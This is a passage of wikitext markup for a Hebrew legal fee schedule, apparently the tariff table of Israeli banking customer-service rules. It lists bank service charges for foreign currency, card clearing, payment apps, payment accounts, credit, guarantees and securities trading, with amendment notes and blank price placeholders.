| ||
|- &lt;עוגן פרט 6.7&gt;
| :: (7) &lt;!-- (תיקון: תשע&quot;ג, תשע&quot;ה, תשע&quot;ה-2, תשע&quot;ה-4) --&gt; '''עסקאות במטבע חוץ'''
| : עסקאות בדולר או באירו .... אחוז
: עסקאות במטבע אחר .... אחוז
|
| העמלה תחושב לפי השער היציג של סכום ההמרה במטבע המקורי שלפיו בוצעה העסקה; בהעדר שער יציג תחושב העמלה לפי סכום החיוב במטבע ההמרה של הסולק הבין-לאומי.
|- &lt;עוגן פרט 6.8&gt;
| :: (8) &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ה-2, תשע&quot;ה-4) --&gt; '''משיכת מטבע חוץ'''
| : משיכת מזומן בדולר או באירו ממכשיר אוטומטי - .... אחוז
: משיכת מזומן במטבע אחר ממכשיר אוטומטי - .... אחוז
: משיכת מזומן בדולר או באירו בדלפק - .... אחוז
: משיכת מזומן במטבע אחר בדלפק - .... אחוז
: משיכת מזומן במטבע חוץ מחשבון המנוהל באותו מטבע - .... ש&quot;ח
|
| העמלה תחושב לפי השער היציג של סכום ההמרה במטבע המקורי שלפיו בוצעה העסקה; בהעדר שער יציג תחושב העמלה לפי סכום החיוב במטבע ההמרה של הסולק הבין-לאומי.
|- &lt;עוגן פרט 6.9&gt;
| :: (9) '''רכישת מטבע חוץ מחלפן באמצעות כרטיס אשראי'''
| .... דולר
| ||
&lt;!--
|-
! שירות !! colspan=&quot;3&quot; | מחיר
--&gt;
|- &lt;עוגן תוספת 1 חלק 7&gt;
| {{מוגדל|'''חלק 7 - סחר חוץ'''}}
| colspan=&quot;3&quot; | לפי פירוט שיקבע התאגיד הבנקאי
|- &lt;עוגן תוספת 1 חלק 8&gt;
| {{מוגדל|'''חלק 8 - עסקאות עתידיות, עסקאות בין-מטבעיות ואחרות'''}}
| colspan=&quot;3&quot; | לפי פירוט שיקבע התאגיד הבנקאי
|- &lt;עוגן תוספת 1 חלק 9&gt;
| &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ז, תשע&quot;ט) --&gt; {{מוגדל|'''חלק 9 - שירותים מיוחדים'''}}
| colspan=&quot;3&quot; | : לפי פירוט שיקבע התאגיד הבנקאי
: {{מוקטן|למשל: שמירת דואר בסניף, שכירת כספות, טיפול בשטרות, טיפול בירושות ועיזבונות, משיכת מזומן ממכשיר מרוחק שאינו מכשיר נדרש באמצעות כרטיס שלא הונפק בידי התאגיד הבנקאי, טיפול בהמחאת זכות, ייעוץ פנסיוני כהגדרתו [[בחוק הפיקוח על שירותים פיננסיים (ייעוץ, שיווק ומערכת סליקה פנסיוניים), התשס&quot;ה-2005]], משיכת מזומן במכשיר אוטומטי באמצעות כרטיס נטען שלא מקושר לחשבון עובר ושב&lt;sup&gt;7&lt;/sup&gt;, משיכת מזומן במכשיר אוטומטי באמצעות כרטיס חיוב אשר הונפק בחו&quot;ל או על ידי שלוחה של בנק זר {{ש}} (((החל מיום 1.10.2026):)) למשל: שמירת דואר בסניף, שכירת כספות, משיכת מזומן ממכשיר מרוחק שאינו מכשיר נדרש באמצעות כרטיס שלא הונפק בידי התאגיד הבנקאי, טיפול בהמחאת זכות, ייעוץ פנסיוני כהגדרתו [[בחוק הפיקוח על שירותים פיננסיים (ייעוץ, שיווק ומערכת סליקה פנסיוניים), התשס&quot;ה-2005]], משיכת מזומן במכשיר אוטומטי באמצעות כרטיס נטען שלא מקושר לחשבון עובר ושב&lt;sup&gt;7&lt;/sup&gt;, משיכת מזומן במכשיר אוטומטי באמצעות כרטיס חיוב אשר הונפק בחו&quot;ל או על ידי שלוחה של בנק זר}}
|- &lt;עוגן תוספת 1 חלק 10&gt;
| {{מוגדל|'''חלק 10 - יהלומים'''}}
| colspan=&quot;3&quot; | לפי פירוט שיקבע התאגיד הבנקאי
|- &lt;עוגן תוספת 1 חלק 11&gt;
| &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ה-3) --&gt; {{מוגדל|'''חלק 11 - הוצאות צד שלישי'''}}
| colspan=&quot;3&quot; | : לפי פירוט שיקבע התאגיד הבנקאי בהתאם להוצאות הממשיות. התאגיד הבנקאי יציין בהערות לכל שירות אם נגבו בעדו הוצאות בעבור צד שלישי.
: {{מוקטן|למשל: {{ש}} אגרות רישום שונות {{ש}} הערכת שמאי {{ש}} ביטוח הלוואה לדיור EMI {{ש}} ייפוי כוח נוטריוני {{ש}} בדיקת רישומים ברשם החברות {{ש}} בדיקת רישומים ברשם המקרקעין {{ש}} החזר שיק או הרשאה לחיוב חשבון לטובת הבנק {{ש}} הוצאות בנק קורספונדנט {{ש}} הוצאות ברוקר בחוץ לארץ {{ש}} ביטוח כספת {{ש}} דואר לחוץ לארץ {{ש}} דואר רשום {{ש}} משלוח כרטיס חיוב חליפי לחוץ לארץ {{ש}} שימוש במכשירים לקריאת כרטיסי חיוב {{ש}} משיכת מזומן במטבע חוץ בחוץ לארץ בדלפק}}
&lt;!--
|-
! שירות !! מחיר !! מועד הגביה !! הערות
--&gt;
|- &lt;עוגן תוספת 1 חלק 12&gt;
| colspan=&quot;4&quot; | &lt;!-- (תיקון: תשע&quot;ה) --&gt; {{ממורכז|{{מוגדל|'''חלק 12 - סליקה של עסקאות בכרטיס חיוב'''}}}}
|- &lt;עוגן פרט 12.1&gt;
| :: (1) דמי ניהול חשבון סליקה
| בית עסק פעיל - .... ש&quot;ח
| בתחילת החודש בעד החודש שקדם לו
| &quot;בית עסק פעיל&quot; - בית עסק שנסלקה בעבורו פעולת סליקה אחת לפחות במהלך חודש; תאגיד בנקאי לא יגבה מבית עסק פעיל עמלה זו אם סך עמלות הסליקה באותו חודש גבוה ממנה, ובכל מקרה סכומה לא יעלה על ההפרש שבינה לבין סך עמלות הסליקה; העמלה תחושב פעם אחת בחודש בעבור כל סוגי כרטיסי החיוב הנסלקים יחד, ובהתייחס לכלל העסקאות, לרבות עסקאות שנוכו על ידי נותן שירותי ניכיון כהגדרתו [[בסעיף 7א לחוק הבנקאות (שירות ללקוח), התשמ&quot;א-1981]]
|- &lt;עוגן פרט 12.2&gt;
| :: (2) דמי הצטרפות של בית עסק אלקטרוני
| .... ש&quot;ח
|
| &quot;בית עסק אלקטרוני&quot; - בית עסק המאפשר ביצוע פעולות מכירה או קנייה, שהתשלום בעדן מבוצע באמצעות האינטרנט או באמצעות הטלפון הנייד (הסלולרי)
|- &lt;עוגן פרט 12.3&gt;
| :: (3) שירותי אימות פרטים וביטוח
| : ביטוח עסקה - .... ש&quot;ח לעסקה
: אימות פרטים לכרטיס - .... ש&quot;ח לעסקה
| ||
|- &lt;עוגן פרט 12.4&gt;
| :: (4) ביטול עסקה
| .... ש&quot;ח לעסקה
| ||
|- &lt;עוגן פרט 12.5&gt;
| :: (5) החזר חיוב (Charge Back)
| .... ש&quot;ח לעסקה
| ||
|- &lt;עוגן פרט 12.6&gt;
| :: (6) עיבוד שובר ידני
| .... ש&quot;ח לשובר
| ||
|- &lt;עוגן פרט 12.7&gt;
| :: (7) עמלת סליקה
| ||
| לפי פירוט שייקבע בהסכם ההתקשרות עם בית העסק
|- &lt;עוגן תוספת 1 חלק 13&gt;
| &lt;!-- (תיקון: תשע&quot;ה) --&gt; {{מוגדל|'''חלק 13 - שירותי ניכיון לבתי עסק'''}}
| colspan=&quot;3&quot; | לפי פירוט שיקבע התאגיד הבנקאי
|- &lt;עוגן תוספת 1 חלק 14&gt;
| colspan=&quot;4&quot; | &lt;!-- (תיקון: תשפ&quot;ה) --&gt; {{ממורכז|{{מוגדל|'''חלק 14 - אפליקציית תשלום&lt;sup&gt;8&lt;/sup&gt;'''}}}}
|- &lt;עוגן פרט 14א&gt;
| colspan=&quot;4&quot; | '''14(א) - שירותים נפוצים'''
|- &lt;עוגן פרט 14א.1&gt;
| :: (1) &lt;!-- (תיקון: תשפ&quot;ה) --&gt; קבלת תשלום (מעבר לסף פעילות של .... ש&quot;ח בשנה) 
| כפי שיקבע התאגיד הבנקאי
|
| : (1) עמלה זו תיגבה בעד זיכוי המתקבל בחשבון תשלום שמנהלת אפליקציית התשלום בעבור הלקוח, או זיכוי המועבר לחשבון תשלום אחר של המוטב;
: (2) התאגיד הבנקאי לא יגבה מלקוח עמלת &quot;פעולה בערוץ ישיר&quot; לפי [[פרט 1א.3|פסקה (3) לפרט 1(א) לחלק 1 לתוספת זו]], נוסף על עמלה זו בעבור אותו זיכוי;
: (3) סף הפעילות לא יפחת מ-25,000 ש&quot;ח, (((החל מיום 1.1.2027):)) אלא אם כן אישר המפקח על הבנקים סכום נמוך יותר.
|- &lt;עוגן פרט 14א.2&gt;
| :: (2) &lt;!-- (תיקון: תשפ&quot;ה) --&gt; ביצוע הוראת תשלום (מעבר לסף פעילות של .... ש&quot;ח בשנה)
| כפי שיקבע התאגיד הבנקאי
|
| : (1) עמלה זו תיגבה בעד חיוב בחשבון תשלום שמנהלת אפליקציית התשלום בעבור המשלם, או חיוב המועבר לחשבון תשלום אחר של המוטב; השירות אינו כולל משיכת יתרה מחשבון תשלום שמנהלת אפליקציית התשלום בעבור המשלם אל חשבון תשלום אחר של המשלם;
: (2) התאגיד הבנקאי לא יגבה מלקוח עמלת &quot;פעולה בערוץ ישיר&quot; לפי [[פרט 1א.3|פסקה (3) לפרט 1(א) לחלק 1 לתוספת זו]], נוסף על עמלה זו בעבור אותה הוראת תשלום;
: (3) סף הפעילות לא יפחת מ-25,000 ש&quot;ח, (((החל מיום 1.1.2027):)) אלא אם כן אישר המפקח על הבנקים סכום נמוך יותר.
|- &lt;עוגן פרט 14ב&gt;
| colspan=&quot;4&quot; | '''14(ב) - שירותים מיוחדים'''
|-
| :: דמי מנוי לשירות .... (לפי פירוט שיקבע התאגיד הבנקאי ובאישור המפקח על הבנקים) || .... ש&quot;ח || ||
|- &lt;עוגן תוספת 1 חלק 15&gt;
| colspan=&quot;4&quot; | &lt;!-- (תיקון: תשפ&quot;ה-2) --&gt; {{ממורכז|{{מוגדל|'''חלק 15 - שירותי ריכוז מידע פיננסי של לקוח וניתוחו&lt;sup&gt;9&lt;/sup&gt;'''}}}}
|- &lt;עוגן פרט 15&gt;
| : 15 (()) לפי פירוט שיקבע התאגיד הבנקאי || || ||
|}

: (((החל מיום 1.7.2027):))
: {| width=&quot;100%&quot;
! width=&quot;40%&quot; | שירות !! מחיר !! מועד הגביה !! הערות
|- &lt;עוגן תוספת 1 חלק 1&gt;
| colspan=&quot;4&quot; | &lt;!-- (תיקון: תשפ&quot;ו) --&gt; {{ממורכז|{{מוגדל|'''חלק 1 - חשבון תשלום'''}}}}
|- &lt;עוגן פרט 1א&gt;
| colspan=&quot;4&quot; | '''1(א) - שירותים נפוצים בחשבון עובר ושב'''
|- &lt;עוגן פרט 1א.1&gt;
| :: (1) &lt;!-- (תיקון: תשע&quot;ג) --&gt; '''דמי ניהול חשבון לעסק קטן''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 1א.1א&gt;
| :: (1א) &lt;!-- (תיקון: תשפ&quot;ו) --&gt; '''ניהול חשבון תשלום'''
| : 0 עד 2 פעולות בחודש .... ש&quot;ח (בפיקוח)
: 3 עד 100 פעולות בחודש .... ש&quot;ח (בפיקוח)
: .... ש&quot;ח לפעולה נוספת מעל 100 פעולות (בפיקוח)
| אחת לחודש
| : (1) ראו [[בנספח ו']] את פירוט סוגי השירותים הנכללים בשירות זה;
: (2) במקרה שבו חשבון התשלום של הלקוח נסגר במהלך החודש (בין אם הלקוח סגר את חשבונו ובין אם הבנק יזם את הסגירה), רשאי התאגיד הבנקאי לחייבו בעלות הכוללת לאותו חודש&lt;sup&gt;3&lt;/sup&gt;;
: (3) עמלה זו לא תגבה מחשבון תשלום שהוא פיקדון ללא תנועה, כהגדרתו [[בפקודת הבנקאות, 1941]], אם 
לא בוצעו בחשבון פעולות.
|- &lt;עוגן פרט 1א.2&gt;
| :: (2) &lt;!-- (תיקון: תשס&quot;ח, תשס&quot;ח-2, תשע&quot;ג, תשע&quot;ד, תשע&quot;ה, תשע&quot;ו, תשע&quot;ז, תשע&quot;ט, תשפ&quot;ד, תשפ&quot;ו) --&gt; '''פעולה על ידי פקיד''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 1א.3&gt;
| :: (3) &lt;!-- (תיקון: תשס&quot;ח-2, תשע&quot;ג, תשע&quot;ד, תשע&quot;ה, תשע&quot;ז, תשפ&quot;ד, תשפ&quot;ו) --&gt; '''פעולה בערוץ ישיר''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 1א.4&gt;
| :: (4) '''פנקס שיקים'''
| : רגיל - .... ש&quot;ח (בפיקוח)
: מיוחד - .... ש&quot;ח
: {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי בנספח שיצורף לתעריפון ויימסר ללקוח}}
| ||
|- &lt;עוגן פרט 1א.5&gt;
| :: (5) &lt;!-- (תיקון: תשע&quot;ג) --&gt; '''כרטיס מידע''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 1א.6&gt;
| :: (6) &lt;!-- (תיקון: תשע&quot;ג) --&gt; '''כרטיס משיכת מזומן''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 1א.7&gt;
| :: (7) '''שיק בנקאי'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 1א.8&gt;
| :: (8) &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ז, תשפ&quot;ו) --&gt; '''טיפול במזומנים על ידי פקיד'''
::: שירות זה כולל:
::: (1) משיכת מזומן
::: (2) הפקדת מזומן
::: (3) פריטת מזומן
| : מטבעות - .... ש&quot;ח (לכל 100 מטבעות) {{ש}} שטרות - .... אחוז (מעל 10,000 ש&quot;ח)
|
| : (1) פעולה במטבעות מתחת ל-100 מטבעות או פעולה בשטרות מתחת לסכום של 10,000 ש&quot;ח ייכללו בשירות &quot;ניהול חשבון תשלום&quot;;
: (2) פעולת פריטת מזומן כוללת את משיכתו או הפקדתו;
: (3) בעד פעולת פריטה הכוללת מטבעות ושטרות, רשאי התאגיד הבנקאי לגבות עמלה אחת בלבד, הגבוהה מבין העמלות בעד פעולות אלה.
|- &lt;עוגן פרט 1א.9&gt;
| :: (9) '''החזרת חיוב מסיבת אין כיסוי מספיק (ומהסיבות מוגבל, מעוקל, צו משפטי)'''
::: חיוב באמצעות -
::: (1) הוראת קבע
::: (2) הרשאה לחיוב חשבון
::: (3) שיק
| .... ש&quot;ח || ||
|- &lt;עוגן פרט 1א.10&gt;
| :: (10) &lt;!-- (תיקון: תשפ&quot;ד, תשפ&quot;ו) --&gt; '''חיוב מושך בהחזרת שיק מסיבה טכנית''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 1א.11&gt;
| :: (11) &lt;!-- (תיקון: תשע&quot;ה-3) --&gt; '''חיוב מפקיד בהחזרת שיק''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 1א.12&gt;
| :: (12) &lt;!-- (תיקון: תשפ&quot;ו) --&gt; '''הוראה לביטול חיוב''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 1ב&gt;
| colspan=&quot;4&quot; | '''(ב) - שירותים מיוחדים או עסקיים'''
|- &lt;עוגן פרט 1ב.1&gt;
| :: (1) '''העברות ברשימה (לרבות משכורת)'''
| : {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
: .... ש&quot;ח
| ||
|- &lt;עוגן פרט 1ב.2&gt;
| :: (2) '''הוראת קבע לקיזוז יומי'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 1ב.3&gt;
| :: (3) &lt;!-- (תיקון: תשפ&quot;ו) --&gt; '''טיפול בשיק דחוי'''
::: שירות זה כולל -
::: (1) הפקדת שיק דחוי
::: (2) שינוי מועד להצגת שיק דחוי
::: (3) החזרת שיק דחוי למפקיד טרם פירעונו
| : פקיד - .... ש&quot;ח 
: בשידור - .... ש&quot;ח
| || : החזרת שיקים דחויים למפקיד אגב סגירת חשבונו בבנק לא תעלה על 5 ש&quot;ח&lt;sup&gt;3&lt;/sup&gt;; עמלה זו תגבה רק במקרה שבו שיק הופקד פיזית למשמרת בבנק 
|- &lt;עוגן פרט 1ב.4&gt;
| :: (4) '''חיוב מוטב בהחזרת חיוב על פי הרשאה'''
| : רגיל - .... ש&quot;ח
: הצגה חוזרת - .... ש&quot;ח
| || לעניין זה, &quot;הצגה חוזרת&quot; - מההחזרה השניה ואילך של חיוב על פי הרשאה שבוטלה בהוראת הלקוח או חיוב על פי הרשאה שהוצאה מן ההסדר
|- &lt;עוגן פרט 1ב.5&gt;
| :: (5) &lt;!-- (תיקון: תשפ&quot;ו) --&gt; '''העברה במערכת הזיכויים וההעברות בזמן אמת (RTGS)''', מעל 1 מיליון ש&quot;ח
| לבנק אחר - .... ש&quot;ח
| ||
|- &lt;עוגן פרט 1ג&gt; &lt;!-- (תיקון: תשע&quot;ד, תשע&quot;ה, תשפ&quot;ד, תשפ&quot;ו) --&gt;
| : '''(ג)''' (((נמחק)))
:: (1) '''מסלול בסיסי'''
:: (2) '''מסלול מורחב'''
:: (3) '''מסלול מורחב פלוס'''
| || ||
|- &lt;עוגן תוספת 1 חלק 2&gt;
| colspan=&quot;4&quot; | {{ממורכז|{{מוגדל|'''חלק 2 - מידע, הודעות והתראות'''}}}}
|- &lt;עוגן פרט 2א&gt;
| colspan=&quot;4&quot; | '''2(א) - שירותים נפוצים'''
|- &lt;עוגן פרט 2א.1&gt;
| :: (1) '''הודעות'''
::: שירות זה כולל -
::: (1) הודעות על פיגור בתשלומים
::: (2) התראות
::: (3) הודעות או התראות לפי [[חוק שיקים ללא כיסוי, התשמ&quot;א-1981]]
::: (4) (((נמחקה)))
| .... ש&quot;ח (בפיקוח)
| ||
|- &lt;עוגן פרט 2א.2&gt;
| :: (2) '''מכתב התראה של עורך דין'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 2א.3&gt;
| :: (3) &lt;!-- (תיקון: תשע&quot;ו, תשפ&quot;ו) --&gt; '''הפקה או הדפסה של מסמכים המצויים במאגר הממוחשב לבקשת לקוח שסגר את חשבונו'''
| .... ש&quot;ח לבקשה
|
| אין לגבות עמלה בעד מסירת העתק אחד של הודעה לבקשת לקוח במהלך שישה חודשים מיום סגירת החשבון; לעניין זה, &quot;הודעה&quot; - הודעה שנשלחה בתקשורת ללקוח מכוח דין במהלך ששת החודשים שקדמו לסגירת החשבון.
|- &lt;עוגן פרט 2א.4&gt;
| :: (4) &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ו, תשפ&quot;ו) --&gt; '''דוחות לבקשת לקוח הכרוכים באיסוף מידע''', למשל: מסירת מידע היסטורי בדבר ריביות, שערי חליפין, שערי ניירות ערך, וכן מכתבים לא שגרתיים או מכתב המלצה
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 2א.5&gt;
| :: (5) &lt;!-- (תיקון: תשפ&quot;ד, תשפ&quot;ו) --&gt; '''איתור מסמכים''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 2א.6&gt;
| :: (6) &lt;!-- (תיקון: תשפ&quot;ו) --&gt; '''איתור חשבונות''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 2ב&gt;
| colspan=&quot;4&quot; | '''(ב) - שירותים מיוחדים או עסקיים'''
|- &lt;עוגן פרט 2ב.1&gt;
| :: (1) &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ו) --&gt; '''קבלת מידע בתקשורת לבקשת לקוח'''
| : {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 3 עמלות}}
: .... ש&quot;ח
|
| : שירות זה כולל מתן מידע באמצעים כמו: פקס', טלפון סלולרי, דואר אלקטרוני, מכשיר לקריאת כרטיס חיוב;
: אין לגבות עמלה בעד מסירת העתק אחד של הודעה לבקשת לקוח במהלך שישה חודשים מיום סגירת החשבון; לעניין זה, &quot;הודעה&quot; - הודעה שנשלחה בתקשורת ללקוח מכוח דין במהלך ששת החודשים שקדמו לסגירת החשבון.
|- &lt;עוגן פרט 2ב.2&gt;
| :: (2) '''מידע במדיה מגנטית או אלקטרונית'''
| : {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
: .... ש&quot;ח
| ||
|- &lt;עוגן פרט 2ב.3&gt;
| :: (3) '''הפקה ומשלוח דף תנועות בתדירות מיוחדת לבקשת הלקוח'''
| : {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
: .... ש&quot;ח
| ||
|- &lt;עוגן פרט 2ב.4&gt;
| :: (4) '''גישה ישירה למחשב הבנק'''
| : {{מוקטן|לפי הפירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
: .... ש&quot;ח
| ||
|- &lt;עוגן תוספת 1 חלק 3&gt;
| colspan=&quot;4&quot; | {{ממורכז|{{מוגדל|'''חלק 3 - אשראי'''}}}}
|- &lt;עוגן פרט 3א&gt;
| colspan=&quot;4&quot; | '''3(א) - שירותים נפוצים'''
|- &lt;עוגן פרט 3א.1&gt;
| :: (1) '''הקצאת אשראי'''
| : יחיד - .... ש&quot;ח לרבעון
: עסק קטן - .... אחוז
|
| עמלה זו תיגבה מיחיד במקרה של אי-ניצול מסגרת האשראי ברבעון. במקרה של ניצול חלקי של המסגרת, לקוח יחיד יחויב בריבית הרבעונית או בעמלה, לפי הגבוה מביניהן
|- &lt;עוגן פרט 3א.2&gt;
| :: (2) &lt;!-- (תיקון: תשע&quot;ג, תשפ&quot;ד) --&gt; '''טיפול באשראי ובביטחונות''' (למעט הלוואה לדיור)
| : (()) 1. הלוואות מעל 100,000 ש&quot;ח .... אחוז (מינימום, מקסימום);
: (()) 2. ניכיון שיקים - מעל 50,000 ש&quot;ח .... אחוז (מינימום, מקסימום);
: (()) 3. מסגרת אשראי לעסק קטן .... אחוז (מינימום, מקסימום);
: (()) 4. הלוואות בערבות המדינה (לפי פירוט שיקבע התאגיד הבנקאי)
| 
| : (1) אין לגבות את העמלה במקרה של חידוש האשראי, שלא כרוך בשינוי או הוספת ביטחונות. במקרה של הגדלת האשראי - ניתן לגבות את העמלה על ההפרש בלבד
: (2) אין לגבות עמלה על העמדת מסגרת אשראי ללקוחות יחידים
|- &lt;עוגן פרט 3א.2א&gt;
| :: (2א) &lt;!-- (תיקון: תשפ&quot;ד) --&gt; טיפול בבקשה להלוואה לדיור
| .... ש&quot;ח
| העמלה תיגבה לאחר ביצוע עיקר ההליכים לקבלת ההלוואה
| : (1) השירות כולל טיפול בביטחונות, אם רלוונטי;
: (2) אין לגבות את העמלה במקרה של חידוש האשראי, שאינו כרוך בשינוי או הוספה של ביטחונות;
: (3) בהלוואות לדיור חל [[סעיף 9ז לחוק הבנקאות (שירות ללקוח), התשמ&quot;א-1981]].
|- &lt;עוגן פרט 3א.3&gt;
| :: (3) &lt;!-- (תיקון: תשע&quot;ה) --&gt; '''דמי ניהול הלוואה לדיור''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 3א.4&gt;
| :: (4) &lt;!-- (תיקון: תשע&quot;ה) --&gt; '''דמי גבייה בשל הלוואות שאינן לדיור, שניתנו ערב תחילתם של כללים אלה''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 3א.5&gt;
| rowspan=&quot;2&quot; | :: (5) &lt;!-- (תיקון: תשע&quot;ג, תשע&quot;ט, תשפ&quot;ד) --&gt; '''ערבות בנקאית'''
| : ערבות בנקאית מכל סוג (למעט ערבות למשתכנים לפי [[=חוק המכר|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות), התשל&quot;ה-1974]]) (להלן - חוק המכר) ולמעט ערבות בנקאית המובטחת בפיקדון כספי ספציפי .... אחוז (מינימום)
: ערבות למשתכנים לפי [[חוק המכר]] .... אחוז
: ערבות בנקאית המובטחת בפיקדון כספי ספציפי (למעט ערבות למשתכנים לפי [[חוק המכר]]) .... אחוז (מינימום)
|
| העמלה בעד שירות &quot;ערבות בנקאית המובטחת בפיקדון כספי ספציפי&quot; תהיה נמוכה מהעמלה בעד שירות &quot;ערבות מכל סוג&quot;
|-
| : (()) 1. ערבות בנקאית מכל סוג (שאינה ערבות מהסוגים המפורטים בסעיפים 2 עד 4 להלן) .... אחוז (מינימום);
: (()) 2. ערבות בנקאית למשתכנים לפי [[חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות), התשל&quot;ה-1974]] .... אחוז;
: (()) 3. ערבות בנקאית המובטחת בפיקדון כספי ספציפי .... ש&quot;ח;
: (()) 4. ערבות בנקאית המובטחת בפיקדון כספי ספציפי לצורך הסכם שכירות לדירת מגורים (בסכום ערבות עד 50,000 ש&quot;ח) .... ש&quot;ח.
|
| : (1) העמלה בעד שירות &quot;ערבות בנקאית המובטחת בפיקדון כספי ספציפי&quot;, כאמור בסעיף 3 בטור &quot;מחיר&quot;, תהיה נמוכה מעמלת המינימום בעד שירות &quot;ערבות בנקאית מכל סוג&quot;, כאמור בסעיף 1 בטור &quot;מחיר&quot;;
: (2) העמלה בעד שירות &quot;ערבות בנקאית המובטחת בפיקדון כספי ספציפי לצורך הסכם שכירות לדירת מגורים (בסכום ערבות עד 50,000 ש&quot;ח)&quot;, כאמור בסעיף 4 בטור &quot;מחיר&quot;, תהיה נמוכה מהעמלה בעד &quot;ערבות בנקאית המובטחת בפיקדון כספי ספציפי, כאמור בסעיף 3 בטור &quot;מחיר&quot;.
|- &lt;עוגן פרט 3א.6&gt;
| :: (6) '''הסבת ערבות לפי [[חוק המכר]]'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 3א.7&gt;
| :: (7) '''רישום שעבודים על ידי נציג התאגיד הבנקאי אצל רשם'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 3א.8&gt;
| :: (8) '''שינוי שעבודים'''
| : בבנק - .... ש&quot;ח
: אצל רשם - .... ש&quot;ח
| ||
|- &lt;עוגן פרט 3א.9&gt;
| :: (9) '''הסכמה ליצירת שעבוד לבנק אחר'''
| .... ש&quot;ח (בפיקוח)
| ||
|- &lt;עוגן פרט 3א.10&gt;
| :: (10) &lt;!-- (תיקון: תשע&quot;ו, תשפ&quot;ו) --&gt;
::: (א) '''שינויים בהסכם ההלוואה או בתנאי הערבות לבקשת לקוח או ערב''' {{ש}} {{מוקטן|כולל: תקופת ההלוואה, זהות או הרכב לווים או ערבים, מסלול ההלוואה, ריבית, הקפאת תשלומים, איחוד או הפרדת זכאות, מועדי פירעון, תיקון ערבות}}
| .... ש&quot;ח
| ||
|-
| ::: (ב) '''שינויים במועד הפירעון החודשי של הלוואה לדיור לפי [[סעיף 9ג לחוק הבנקאות (שירות ללקוח), התשמ&quot;א-1981]]'''
| כל אחד מארבעת השינויים הראשונים בשנה .... ש&quot;ח (בפיקוח); החל מהשינוי החמישי בשנה .... ש&quot;ח
| ||
|- &lt;עוגן פרט 3א.11&gt;
| :: (11) '''גרירת הלוואה לדיור'''
| : הלוואה - .... ש&quot;ח
: מענק - .... ש&quot;ח
: ערבות או פיקדון ביניים - .... ש&quot;ח
| ||
|- &lt;עוגן פרט 3א.12&gt;
| :: (12) '''הנפקה או חידוש של תעודת זכאות'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 3א.13&gt;
| :: (13) '''פירעון מוקדם'''
| עמלה תפעולית - .... ש&quot;ח
|
| עמלה זו נגבית נוסף לשאר התשלומים הנגבים על פי [[צו הבנקאות (פירעון מוקדם של הלוואה לדיור), התשס&quot;ב-2002]], על פי הוראת ניהול בנקאי תקין מס' 454 ועל פי [[סעיף 88 לחוק המקרקעין, התשכ&quot;ט-1969]]; התאגיד הבנקאי רשאי לגבות את העמלה פעם אחת, לכל היותר, בעד פירעון מוקדם של הלוואה, על כל המסלולים הנפרעים באותו מועד
|- &lt;עוגן פרט 3ב&gt;
| colspan=&quot;4&quot; | '''(ב) - שירותים מיוחדים או עסקיים'''
|- &lt;עוגן פרט 3ב.1&gt;
| :: (1) '''ליווי פיננסי'''
| .... אחוז
| ||
|- &lt;עוגן תוספת 1 חלק 4&gt;
| colspan=&quot;4&quot; | {{ממורכז|{{מוגדל|'''חלק 4 - ניירות ערך'''}}}}
|- &lt;עוגן פרט 4א&gt;
| colspan=&quot;4&quot; | '''4(א) - שירותים נפוצים'''
|- &lt;עוגן פרט 4א.1&gt;
| :: (1) &lt;!-- (תיקון: תשס&quot;ח, תש&quot;ע, תשע&quot;ג, תשע&quot;ט) --&gt; '''קניה, מכירה, ופדיון של ניירות ערך הנסחרים בבורסה בתל אביב (למעט קרנות נאמנות&lt;sup&gt;4&lt;/sup&gt;, אופציות מעו&quot;ף&lt;sup&gt;5&lt;/sup&gt; וחוזים עתידיים במעו&quot;ף)''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
| : מניות ואגרות חוב .... אחוז (מינימום, מכסימום)
: מילווה קצר מועד .... אחוז (מינימום, מכסימום)
|
| : (1) על פיצול הוראה לכמה ביצועים חלקיים באותו יום תיגבה עמלת מינימום אחת ביום לכל הוראה((;))
: (2) במקרה של קניה או מכירה שלא בוצעה מסיבה התלויה בלקוח - תיגבה עמלת מינימום רק אם בוצעה פעולה על ידי פקיד((;))
: (3) עמלה זו תיגבה גם בשל ביצוע השירות בניירות ערך שאינם נסחרים((;))
: (4) בעד פעולה המבוצעת ישירות באמצעות האינטרנט ייגבה שיעור מופחת של .... אחוז לפעולה במניות ובאגרות חוב, ושיעור מופחת של .... אחוז לפעולה במלווה קצר מועד.
|- &lt;עוגן פרט 4א.2&gt;
| :: (2) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''קניה, מכירה וכתיבה של אופציות מעו&quot;ף''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
